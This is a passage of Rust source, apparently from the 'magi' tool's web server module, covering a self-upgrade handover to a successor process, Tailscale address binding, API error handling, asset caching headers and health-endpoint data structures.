1810/// back with no terminal around to say why.
1811///
1812/// Bounded, and only for the one error a wait can fix: anything else fails at
1813/// once, because retrying it would turn a clear message into a silence.
1814async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1815    const WINDOW: Duration = Duration::from_secs(10);
1816    const GAP: Duration = Duration::from_millis(250);
1817
1818    let deadline = std::time::Instant::now() + WINDOW;
1819    let mut said = false;
1820    loop {
1821        match tokio::net::TcpListener::bind(socket).await {
1822            Ok(listener) => return Ok(listener),
1823            Err(e)
1824                if e.kind() == std::io::ErrorKind::AddrInUse
1825                    && std::time::Instant::now() < deadline =>
1826            {
1827                if !said {
1828                    said = true;
1829                    tracing::info!(
1830                        "{socket} is still held - waiting up to {}s for it, \
1831                         which is what a restart looks like from here",
1832                        WINDOW.as_secs()
1833                    );
1834                }
1835                tokio::time::sleep(GAP).await;
1836            }
1837            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1838        }
1839    }
1840}
1841
1842/// Signalled when an upgrade has replaced the binary and the successor should
1843/// take this address over. One per process: there is one address to hand on.
1844static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1845
1846/// Set to `1` on the successor when the loop was running at handover.
1847const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1848/// Keep a dynamically assigned listener address stable across replacement.
1849const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1850
1851/// Whether the environment value asks for the loop to be resumed.
1852fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1853    value.is_some_and(|v| v == "1")
1854}
1855
1856/// Start this binary again with the same arguments, detached.
1857///
1858/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1859/// so the address is already free when the successor binds it. The first
1860/// attempt at this spawned the successor two hundred milliseconds before
1861/// exiting instead, and the released binary - which has no bind retry - died
1862/// on "address already in use" with its stdio sent to null, so the deck
1863/// simply never came back.
1864///
1865/// Detached and without inherited stdio: the successor has to outlive this
1866/// process, and must not hold open a pipe a terminal is waiting on.
1867///
1868/// The scheduler is restarted separately; execution workers are not awaited.
1869///
1870/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1871/// than sent to null: a supervisor's redirection only ever held the first
1872/// generation's descriptors, so every later generation logged nowhere. The
1873/// pid of the child is returned so the handover log can name it.
1874fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1875    let args: Vec<String> = std::env::args().skip(1).collect();
1876    updater::log_step(
1877        home,
1878        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1879    );
1880    let log_path = home.join(WEB_LOG);
1881    let open_log = || {
1882        std::fs::create_dir_all(home)?;
1883        std::fs::OpenOptions::new()
1884            .create(true)
1885            .append(true)
1886            .open(&log_path)
1887    };
1888    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1889        Ok(pair) => (
1890            std::process::Stdio::from(pair.0),
1891            std::process::Stdio::from(pair.1),
1892        ),
1893        Err(e) => {
1894            updater::log_warn(
1895                home,
1896                &format!(
1897                    "could not open {}: {e}; the successor logs nowhere",
1898                    log_path.display()
1899                ),
1900            );
1901            (std::process::Stdio::null(), std::process::Stdio::null())
1902        }
1903    };
1904
1905    let mut cmd = std::process::Command::new(exe);
1906    cmd.env_remove(RESUME_LOOP_ENV);
1907    cmd.env(RESTART_PORT_ENV, port.to_string());
1908    cmd.args(&args)
1909        .stdin(std::process::Stdio::null())
1910        .stdout(out)
1911        .stderr(err);
1912    #[cfg(windows)]
1913    {
1914        use std::os::windows::process::CommandExt as _;
1915        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1916        // and Ctrl-C in the old terminal must not reach the successor.
1917        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1918    }
1919    let child = cmd.spawn().context("start the successor")?;
1920    Ok(child.id())
1921}
1922
1923/// File under `<home>` the successor's output is appended to.
1924const WEB_LOG: &str = "web.log";
1925
1926/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1927/// stored by an earlier `notify_one` is consumed by the first poll, so the
1928/// signal is never missed and never wakes a second time.
1929async fn wait_for_handover(signal: &Notify) {
1930    signal.notified().await;
1931}
1932
1933/// Serve the UI independently from scheduler and execution workers.
1934/// A restart releases its listener before starting the successor.
1935pub async fn serve(opts: Opts) -> Result<()> {
1936    // Capture before self-replacement: current_exe may later name a removed
1937    // image on Linux or the renamed old image on Windows.
1938    crate::worker::remember_current_executable()?;
1939    let executable = std::env::current_exe().context("find the installed web executable")?;
1940    let (addr, warning) = resolve_bind(&opts.bind);
1941    if let Some(warning) = warning {
1942        tracing::warn!("{warning}");
1943    }
1944
1945    // Process-global, and therefore set exactly once, here: the report route
1946    // must never emit escape sequences into a browser, and toggling the flag
1947    // per request would race with a concurrent request rendering its own
1948    // report. Startup is the only moment at which no request can observe the
1949    // change. Nothing in the server turns colour back on.
1950    report::set_color(false);
1951
1952    let repo = normalize_default_repo(opts.repo).await;
1953    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1954    // The listener and periodic checker share one upgrade gate and state.
1955    let home = ui.home.clone();
1956    let admissions = Arc::clone(&ui.admissions);
1957    // Settles a progress record a predecessor left non-terminal - either this
1958    // *is* the successor `spawn_successor` started, or the previous process
1959    // died mid-handover. Before the router starts answering, so the very
1960    // first `/api/health` a phone gets from this process already reflects it.
1961    updater::reconcile_after_restart(&home);
1962    updater::log_step(
1963        &home,
1964        &format!(
1965            "web process started (version {}); handover log {}, successor output {}",
1966            env!("CARGO_PKG_VERSION"),
1967            updater::log_path(&home).display(),
1968            home.join(WEB_LOG).display()
1969        ),
1970    );
1971    updater::spawn_watchdog(home.clone());
1972    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1973    // `spawn_update_check` does at startup only ever runs once: after that,
1974    // `/api/health`'s `update` field - and the phone's "Update & restart"
1975    // button, which reads the very same cache - would stay frozen on
1976    // whatever that single check found, no matter how many releases ship
1977    // afterwards. The periodic checker below keeps it current and is
1978    // cancelled when the listener finishes.
1979    let port = if opts.port == 0 {
1980        std::env::var(RESTART_PORT_ENV)
1981            .ok()
1982            .and_then(|value| value.parse::<u16>().ok())
1983            .filter(|port| *port != 0)
1984            .unwrap_or(0)
1985    } else {
1986        opts.port
1987    };
1988    let socket = SocketAddr::new(addr, port);
1989    let listener = bind_waiting(socket).await?;
1990    let bound = listener.local_addr().context("read bound web address")?;
1991    let port = bound.port();
1992    let url = format!("http://{bound}");
1993    tracing::info!(
1994        "magi web UI on {url} - there is no authentication, so anyone who can \
1995         reach this address can file and hold tasks: the tailnet is the \
1996         security boundary"
1997    );
1998    // A legacy predecessor may request first-migration scheduler startup.
1999    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2000        ui.start_detached_loop()
2001            .await
2002            .map_err(|e| anyhow::anyhow!(e.message))?;
2003    }
2004    if opts.open {
2005        // The URL alone on stdout, for a caller that wants to open it. magi
2006        // does not spawn a browser: on the machine this usually runs on there
2007        // is no display, and a failed launch would be the only output.
2008        println!("{url}");
2009    }
2010
2011    // On its own task, so nothing this function awaits can stop the address
2012    // being answered. `hand_over` is where it is given up.
2013    let recheck_ui = ui.clone();
2014    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2015    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2016    let interrupted = async {
2017        if tokio::signal::ctrl_c().await.is_err() {
2018            // No handler on this platform, so there is no signal to act on.
2019            // Never resolving is the safe answer: a failed registration must
2020            // not masquerade as the operator asking for a shutdown and take
2021            // the UI down on startup.
2022            std::future::pending::<()>().await;
2023        }
2024    };
2025    let handover = wait_for_handover(&HANDOVER);
2026    let outcome = tokio::select! {
2027        joined = &mut served => match joined {
2028            Ok(outcome) => outcome.context("serve the web UI"),
2029            Err(e) => Err(e).context("the task serving the web UI ended"),
2030        },
2031        () = interrupted => {
2032            recheck.abort();
2033            tracing::info!("shutting down the web UI; detached workers continue");
2034            close_admissions(&admissions).await;
2035            served.abort();
2036            let _ = served.await;
2037            Ok(())
2038        }
2039        () = handover => {
2040            recheck.abort();
2041            let successor_home = home.clone();
2042            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2043        }
2044    };
2045    recheck.abort();
2046    let _ = recheck.await;
2047    updater::log_step(
2048        &home,
2049        &match &outcome {
2050            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2051            Err(e) => format!("serve: returning an error: {e:#}"),
2052        },
2053    );
2054    outcome
2055}
2056
2057/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2058/// process's own working directory is not a git checkout at all - the
2059/// checkout [`repos::discover_verified`] finds instead.
2060///
2061/// Only the unmodified default is ever replaced: an operator who named a
2062/// directory outright, git checkout or not, gets exactly that directory
2063/// back, and the same story downstream (a talk whose briefing embeds a
2064/// non-git directory, and an agent that has to ask the operator where the
2065/// real repository is) that has always told them so - substituting a guess
2066/// for an explicit answer would be a second, silent opinion about what they
2067/// meant. There is no instruction or task text yet to match against this
2068/// early, so only [`repos::discover_verified`]'s own-repository tier can
2069/// ever settle this - the hint tier never fires here.
2070///
2071/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2072/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2073/// or a git installation that is broken in exactly the way that made the
2074/// original `canonical` check above fail too - so it is re-checked with
2075/// `git::toplevel` before it is ever used in place of the operator's own
2076/// directory.
2077async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2078    if repo != FsPath::new(".") {
2079        return repo;
2080    }
2081    let Ok(canonical) = repo.canonicalize() else {
2082        return repo;
2083    };
2084    if git::toplevel(&canonical).await.is_ok() {
2085        return repo;
2086    }
2087    let Some(home) = dirs::home_dir() else {
2088        return repo;
2089    };
2090    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2091        Some(found) => {
2092            tracing::info!(
2093                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2094                canonical.display(),
2095                found.path.display(),
2096                found.reason,
2097            );
2098            found.path
2099        }
2100        None => repo,
2101    }
2102}
2103
2104/// Close new ingress and finish only transactions publishing durable work.
2105/// The writer waits for owned admission guards, not task or chat turn leases.
2106async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2107    *admissions.write().await = true;
2108}
2109
2110/// Restart only the scheduler and web listener, never their execution workers.
2111/// The old listener must be fully released before the successor is started.
2112async fn hand_over(
2113    home: &FsPath,
2114    admissions: &tokio::sync::RwLock<bool>,
2115    served: tokio::task::JoinHandle<std::io::Result<()>>,
2116    successor: impl FnOnce() -> Result<u32>,
2117) -> Result<()> {
2118    close_admissions(admissions).await;
2119    if let Some(mut progress) = updater::read_progress(home) {
2120        progress.advance(updater::Stage::Restarting);
2121        progress.detail =
2122            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2123        updater::write_progress_logged(home, &progress);
2124    }
2125    updater::log_step(
2126        home,
2127        "restarting scheduler without parking execution workers",
2128    );
2129    let scheduler = daemon::restart_detached(home).await;
2130    if let Err(error) = &scheduler {
2131        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2132        updater::log_warn(
2133            home,
2134            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2135        );
2136    }
2137    updater::log_step(home, "releasing the web listener");
2138    served.abort();
2139    let _ = served.await;
2140    updater::log_step(home, "web listener released; starting the successor");
2141    match successor() {
2142        Ok(pid) => {
2143            updater::log_step(home, &format!("successor started, pid {pid}"));
2144            scheduler
2145        }
2146        Err(e) => {
2147            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2148            Err(e)
2149        }
2150    }
2151}
2152
2153/// Resolve `--bind` to an address, plus a warning when the answer is not what
2154/// the operator asked for.
2155///
2156/// Split out from [`serve`] because the interesting half - deciding whether
2157/// Tailscale gave us something usable - is testable without opening a socket.
2158pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2159    match bind {
2160        Bind::Addr(addr) => (*addr, None),
2161        Bind::Auto => match tailscale_ip() {
2162            Ok(ip) => (IpAddr::V4(ip), None),
2163            Err(why) => (
2164                IpAddr::V4(Ipv4Addr::LOCALHOST),
2165                Some(format!(
2166                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2167                     local-only and a phone cannot reach it; start Tailscale \
2168                     or pass --bind <addr>"
2169                )),
2170            ),
2171        },
2172    }
2173}
2174
2175/// This machine's Tailscale IPv4, or why there is not one.
2176///
2177/// `tailscale ip -4` is a local call against the running daemon and returns in
2178/// milliseconds, so it is fine to make it synchronously before the server
2179/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2180/// CGNAT block Tailscale assigns from, and anything else on that output would
2181/// be a different tool answering.
2182fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2183    let out = std::process::Command::new("tailscale")
2184        .args(["ip", "-4"])
2185        .quiet()
2186        .output()
2187        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2188    if !out.status.success() {
2189        let why = String::from_utf8_lossy(&out.stderr);
2190        let why = why.trim();
2191        return Err(format!(
2192            "`tailscale ip -4` failed ({}){}",
2193            out.status,
2194            if why.is_empty() {
2195                String::new()
2196            } else {
2197                format!(": {why}")
2198            }
2199        ));
2200    }
2201    String::from_utf8_lossy(&out.stdout)
2202        .lines()
2203        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2204        .find(is_tailnet)
2205        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2206}
2207
2208/// Is this address in the CGNAT block Tailscale hands out from?
2209fn is_tailnet(ip: &Ipv4Addr) -> bool {
2210    let o = ip.octets();
2211    o[0] == 100 && (64..=127).contains(&o[1])
2212}
2213
2214/// What every handler returns. Spelled out because `Result` in this crate is
2215/// `anyhow::Result`, and a handler's error is a status code as much as a
2216/// message.
2217type ApiResult<T> = std::result::Result<T, ApiError>;
2218
2219/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2220#[derive(Debug)]
2221struct ApiError {
2222    status: StatusCode,
2223    message: String,
2224    text_reason: Option<crate::question_delivery::UnavailableReason>,
2225}
2226
2227impl ApiError {
2228    /// The client asked for something malformed.
2229    fn bad_request(message: impl Into<String>) -> Self {
2230        Self {
2231            text_reason: None,
2232            status: StatusCode::BAD_REQUEST,
2233            message: message.into(),
2234        }
2235    }
2236
2237    /// No such run or task.
2238    fn not_found(message: impl Into<String>) -> Self {
2239        Self {
2240            text_reason: None,
2241            status: StatusCode::NOT_FOUND,
2242            message: message.into(),
2243        }
2244    }
2245
2246    /// Someone else owns the thing the client wants to change.
2247    /// Re-badge an error whose default mapping is wrong for this route.
2248    fn with_status(mut self, status: StatusCode) -> Self {
2249        self.status = status;
2250        self
2251    }
2252
2253    /// A rules violation from a domain type, reported as the caller's fault.
2254    /// `Question::answer` rejects an unoffered choice, and that is a bad
2255    /// request, not a server error.
2256    fn bad_request_from(e: anyhow::Error) -> Self {
2257        Self::bad_request(format!("{e:#}"))
2258    }
2259
2260    fn conflict(message: impl Into<String>) -> Self {
2261        Self {
2262            text_reason: None,
2263            status: StatusCode::CONFLICT,
2264            message: message.into(),
2265        }
2266    }
2267
2268    /// Our fault, or the disk's.
2269    fn internal(message: impl Into<String>) -> Self {
2270        Self {
2271            text_reason: None,
2272            status: StatusCode::INTERNAL_SERVER_ERROR,
2273            message: message.into(),
2274        }
2275    }
2276}
2277
2278impl From<anyhow::Error> for ApiError {
2279    /// Errors from `queue` and `run` carry their context chain, and the whole
2280    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2281    /// value at line 3" is a message an operator can act on, and there is no
2282    /// secret in a path on a single-user tailnet.
2283    fn from(e: anyhow::Error) -> Self {
2284        Self::internal(format!("{e:#}"))
2285    }
2286}
2287
2288impl IntoResponse for ApiError {
2289    fn into_response(self) -> Response {
2290        let mut body = serde_json::json!({ "error": self.message });
2291        if let Some(reason) = self.text_reason {
2292            body["code"] = serde_json::json!("question_text_unavailable");
2293            body["reason"] = serde_json::json!(reason);
2294        }
2295        (self.status, Json(body)).into_response()
2296    }
2297}
2298
2299/// Run a handler's filesystem work off the executor.
2300///
2301/// Every route that touches the disk goes through here rather than each one
2302/// arguing about whether its own read is small enough. Uniform because the
2303/// expensive case is not rare: `run.json` for a finished competition holds
2304/// every judgement, deliberation turn and review round, so listing a few
2305/// hundred runs is megabytes of parsing, and the executor threads doing it are
2306/// the same ones serving the change stream of every other connected phone.
2307async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2308where
2309    T: Send + 'static,
2310{
2311    #[cfg(test)]
2312    let job = request_cost::carry(job);
2313    match tokio::task::spawn_blocking(job).await {
2314        Ok(result) => result,
2315        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2316    }
2317}
2318
2319/// Bulk readers have a bounded, separate execution lane. A cold health
2320/// index or multiple slow list clients cannot occupy the pool serving detail.
2321async fn bulk_blocking<T>(
2322    slots: Arc<tokio::sync::Semaphore>,
2323    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2324) -> ApiResult<T>
2325where
2326    T: Send + 'static,
2327{
2328    let permit = slots
2329        .acquire_owned()
2330        .await
2331        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2332    let (send, receive) = tokio::sync::oneshot::channel();
2333    #[cfg(test)]
2334    let job = request_cost::carry(job);
2335    let runtime = tokio::runtime::Handle::current();
2336    std::thread::Builder::new()
2337        .name("web-bulk".into())
2338        .spawn(move || {
2339            let _permit = permit;
2340            // Capacity observations schedule their independent blocking job.
2341            let _runtime = runtime.enter();
2342            let _ = send.send(job());
2343        })
2344        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2345    receive
2346        .await
2347        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2348}
2349
2350/// Cache policy for the three compiled-in front-end files.
2351///
2352/// The whole interface is `include_str!`ed into the binary, so its content
2353/// changes only when the binary does - and a phone that keeps a copy is
2354/// welcome to, right up until the deck is replaced. Without a single cache
2355/// header, browsers were free to invent their own policy, and one did:
2356/// yukimemi's phone went on showing "Candidates must be folded before
2357/// deleting. Run `magi fold` first." - a sentence deleted two releases
2358/// earlier - from a run detail served by a deck that no longer contained it.
2359/// The delete button he was told about was right there, and unreachable.
2360///
2361/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2362/// every time, the answer is a 304 costing one small round trip while the
2363/// deck is unchanged, and the moment it is replaced the tag differs and the
2364/// new interface arrives. Correctness over bytes - this is one file of a few
2365/// tens of kilobytes on a tailnet, and being a version behind is not a
2366/// cosmetic problem when the difference is whether a button exists.
2367const ASSET_CACHE: &str = "no-cache, must-revalidate";
2368
2369/// `ETag` for the compiled-in assets, distinct per build.
2370///
2371/// The version alone would leave a locally built deck - `cargo install
2372/// --path .` twice at the same version, which is the normal way to iterate -
2373/// serving a stale tag for changed bytes. The build timestamp is what makes
2374/// two builds of `0.3.0` differ.
2375fn asset_etag() -> &'static str {
2376    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2377        format!(
2378            "\"{}-{}\"",
2379            env!("CARGO_PKG_VERSION"),
2380            // Length is a cheap, deterministic stand-in for a hash: the
2381            // three files are compiled in together, so any edit to any of
2382            // them almost certainly changes the total, and a rebuild is what
2383            // this needs to track rather than every possible byte pattern.
2384            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2385        )
2386    });
2387    &TAG
2388}
2389
2390/// Headers for a compiled-in asset of `mime`.
2391fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2392    [
2393        (header::CONTENT_TYPE, mime),
2394        (header::CACHE_CONTROL, ASSET_CACHE),
2395        (header::ETAG, asset_etag()),
2396    ]
2397}
2398
2399/// Serve a compiled-in asset, answering `304` when the client already has it.
2400///
2401/// axum does not compare `If-None-Match` for us, and a header the server sets
2402/// but never honours is worse than none: the phone revalidates on every load
2403/// and is handed the whole file back each time. Doing the comparison is what
2404/// makes `must-revalidate` cost one small round trip rather than the
2405/// interface.
2406fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2407    let tag = asset_etag();
2408    let known = headers
2409        .get(header::IF_NONE_MATCH)
2410        .and_then(|v| v.to_str().ok())
2411        // A revalidating client may send several, and a proxy may weaken the
2412        // tag to `W/"..."`; matching on containment covers both without
2413        // parsing the grammar.
2414        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2415    if known {
2416        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2417    }
2418    (asset_headers(mime), body).into_response()
2419}
2420
2421async fn index(headers: header::HeaderMap) -> Response {
2422    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2423}
2424
2425async fn app_css(headers: header::HeaderMap) -> Response {
2426    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2427}
2428
2429async fn app_js(headers: header::HeaderMap) -> Response {
2430    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2431}
2432
2433/// What `/api/health` answers.
2434#[derive(Debug, Serialize)]
2435struct HealthView {
2436    version: &'static str,
2437    home: String,
2438    queue_rev: u64,
2439    runs_rev: u64,
2440    /// The same revisions [`events`] streams for the question and talk
2441    /// stores.
2442    ///
2443    /// Here because this route is what the front end falls back to when the
2444    /// change stream is not up - it re-polls health on a timer and on wake, and
2445    /// takes the revisions from the answer. Without these the fallback
2446    /// compares `undefined` against `undefined` for both stores, decides
2447    /// nothing moved, and a phone with a dead stream never learns that a
2448    /// question was asked or that a talk took a turn. `queue_rev` and
2449    /// `runs_rev` above have always been here for exactly this reason; the rule
2450    /// is that every revision the stream carries, this route carries too.
2451    questions_rev: u64,
2452    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2453    talks_rev: u64,
2454    /// See [`HealthView::questions_rev`]. The notification centre's store.
2455    notifications_rev: u64,
2456    /// Notifications nobody has read yet: the bell's badge before
2457    /// `/api/notifications` has answered.
2458    notifications_unread: usize,
2459    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2460    /// is not on disk anywhere, so a phone with no change stream has no other
2461    /// way to notice that the loop it is waiting on was started from another
2462    /// device.
2463    loop_rev: u64,
2464    /// Runs on disk whose state this build cannot parse - almost always a
2465    /// schema bump, occasionally a run killed mid-write.
2466    ///
2467    /// Reported because the list silently skips them, and "no competitions
2468    /// yet" is a lie when six of them are sitting in the runs directory. The
2469    /// terminal deck learned the same lesson: a run that fails to parse must
2470    /// not disappear from the count.
2471    runs_unreadable: usize,
2472    /// The disk, and what the runs and their worktrees occupy on it.
2473    ///
2474    /// This is the incident the janitor exists for: magi alone put 30 GB into
2475    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2476    /// is exactly where the operator learns "the disk is the constraint" -
2477    /// the diagnosis that a run is being held for want of space has to be
2478    /// checkable on the same screen.
2479    disk: Option<serde_json::Value>,
2480    /// Questions nobody has answered yet, including ones an owner talked
2481    /// back on and is now waiting for the agent's reply to. A round trip
2482    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2483    /// while the ball is in the agent's court - see
2484    /// [`crate::ask::Questions::count_open`].
2485    questions_open: usize,
2486    /// Of those, how many actually need the owner right now: open, and not
2487    /// [`crate::ask::Question::waiting_on_agent`].
2488    ///
2489    /// The one number that means "nothing will happen until a human acts" -
2490    /// a parked run consumes nothing and progresses never - and the count the
2491    /// ask bar, the nav badge and the document title fall back to before
2492    /// `/api/questions` has answered, so those notification channels clear
2493    /// the instant the owner asks back and reappear the instant the agent
2494    /// replies, instead of sitting lit for however long the agent thinks.
2495    questions_needs_owner: usize,
2496    daemon: DaemonView,
2497    /// The independently controllable scheduler, as `/api/loop` reports it.
2498    ///
2499    /// Here so a phone that has just woken needs one request to know whether
2500    /// anything is going to happen at all: `daemon` says a loop is alive
2501    /// somewhere, and this says whether it is one this UI can stop.
2502    #[serde(rename = "loop")]
2503    looping: LoopView,
2504    /// Whether a release newer than this build is known, and which.
2505    ///
2506    /// From [`updater::Checker::cached_update`] - the same throttled state the
2507    /// CLI's `notify` mode banners from - never a live check: this route is
2508    /// polled every few seconds, and a live check on each poll would spend
2509    /// GitHub's rate limit before the operator finished reading the strip.
2510    update: UpdateView,
2511    /// The self-upgrade this deck last set in motion, or `null` before the
2512    /// first one. Read off disk, so the successor can report what its
2513    /// predecessor started.
2514    upgrade: Option<UpgradeProgressView>,
2515    /// Detached jobs survive replacement of this web process. Each reports
2516    /// its own immutable executable generation rather than the web version.
2517    jobs: Vec<WorkerView>,
2518    upgrade_request_error: Option<UpgradeRequestFailure>,
2519}
2520
2521/// Public execution metadata only. Job payloads contain private configuration
2522/// and must never be returned by the health endpoint.
2523#[derive(Debug, Serialize)]
2524struct WorkerView {
2525    id: String,
2526    kind: String,
2527    key: String,
2528    pid: Option<u32>,
2529    status: crate::worker::Status,
2530    generation: String,
2531    version: Option<String>,
2532    queue_owned: bool,
2533}
2534
2535impl From<crate::worker::Job> for WorkerView {
2536    fn from(job: crate::worker::Job) -> Self {
2537        let queue_owned = job.kind == "task"
2538            && job
2539                .payload
2540                .get("standalone")
2541                .and_then(serde_json::Value::as_bool)
2542                != Some(true);
2543        Self {
2544            id: job.id,
2545            kind: job.kind,
2546            key: job.key,
2547            pid: job.pid,
2548            status: job.status,
2549            generation: job.generation,
2550            version: job.version,
2551            queue_owned,
2552        }
2553    }
2554}
2555
2556/// What `/api/health` knows about a release newer than this build.
2557///
2558/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2559/// is already the newest" from "never checked" - both are `None` - and the
2560/// phone needs to tell those apart to decide whether the deck can be trusted
2561/// to have an opinion at all.
2562#[derive(Debug, Clone, Serialize)]
2563struct UpdateView {
2564    /// A newer release is known to exist.
2565    available: bool,
2566    /// Its tag, when `available`.
2567    to: Option<String>,
2568}
2569
2570/// [`updater::Progress`] as `/api/health` reports it.
2571#[derive(Debug, Serialize)]
2572struct UpgradeProgressView {
2573    trigger: updater::UpgradeTrigger,
2574    stage: updater::Stage,
2575    from: String,
2576    to: Option<String>,
2577    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2578    /// the step it is finishing before the address is handed over.
2579    waiting_on: Option<String>,
2580    started_at: Timestamp,
2581    updated_at: Timestamp,
2582    detail: Option<String>,
2583    /// Seconds the stage has outlived its allowance, when it has - see
2584    /// [`updater::stall`]. `null` while the stage is moving normally.
2585    stuck_for_secs: Option<i64>,
2586    /// Which kind of stuck: `never_entered` (hand_over left no record of
2587    /// starting) or `stopped_beating`. `null` when not stuck.
2588    stuck_kind: Option<updater::StallKind>,
2589    /// `hand_over` is alive and waiting on the loop: however long that takes,
2590    /// it is not an overdue upgrade.
2591    handover_alive: bool,
2592}
2593
2594/// Whether [`run_update_recheck`] may act at all this tick.
2595///
2596/// The same two conditions [`updater::Checker::new`] and
2597/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2598/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2599/// GitHub from this process" - on a button press or on a timer alike.
2600fn should_spawn_recheck(cfg: &Update) -> bool {
2601    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2602}
2603
2604/// Whether this tick should actually reach the network, once checking itself
2605/// is allowed.
2606///
2607/// An upgrade already in flight must not be raced by a check that discovers
2608/// a *newer* release while one is still installing - a phone watching
2609/// `/api/health` would see the answer change out from under the upgrade it
2610/// already asked for. Past that, [`updater::Checker::should_check`] is the
2611/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2612/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2613/// polling period, is what keeps this task's network use to at most once per
2614/// `[update] interval` regardless of how often it wakes up.
2615fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2616    if progress.is_some_and(|p| !p.stage.terminal()) {
2617        return false;
2618    }
2619    checker.should_check()
2620}
2621
2622/// How long [`run_update_recheck`] sleeps before its next wake-up.
2623///
2624/// A fraction of the configured `[update] interval` rather than a fixed
2625/// number: a fixed sleep longer than a short custom interval would leave the
2626/// deck waiting on its own wake-up rather than on `should_check`, so an
2627/// operator who set `interval = "1m"` to make the UI catch up quickly would
2628/// not see that take effect until the next restart - exactly the bug this
2629/// task exists to fix, just moved one level down. Scaling with the interval
2630/// keeps the wake-up prompt relative to what was actually configured, while
2631/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2632/// still what caps the network calls themselves at one per interval,
2633/// regardless of how often this fires.
2634fn recheck_poll_period(cfg: &Update) -> Duration {
2635    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2636}
2637
2638#[derive(Debug, PartialEq, Eq)]
2639enum AutoUpgradeDecision {
2640    Skip(&'static str),
2641    Wait,
2642    Trigger,
2643}
2644
2645fn auto_upgrade_decision(
2646    cfg: &Update,
2647    disabled: bool,
2648    in_motion: bool,
2649    busy: bool,
2650    tag: &str,
2651    failed: Option<&str>,
2652) -> AutoUpgradeDecision {
2653    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2654        AutoUpgradeDecision::Skip("disabled")
2655    } else if in_motion {
2656        AutoUpgradeDecision::Skip("upgrade already in progress")
2657    } else if failed == Some(tag) {
2658        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2659    } else if busy {
2660        AutoUpgradeDecision::Wait
2661    } else {
2662        AutoUpgradeDecision::Trigger
2663    }
2664}
2665
2666/// Refresh the shared cache and optionally request the same handover as the UI.
2667async fn run_update_recheck(ui: Arc<Ui>) {
2668    loop {
2669        let cfg = match Config::discover(&ui.repo, None) {
2670            Ok((cfg, _)) => cfg,
2671            Err(e) => {
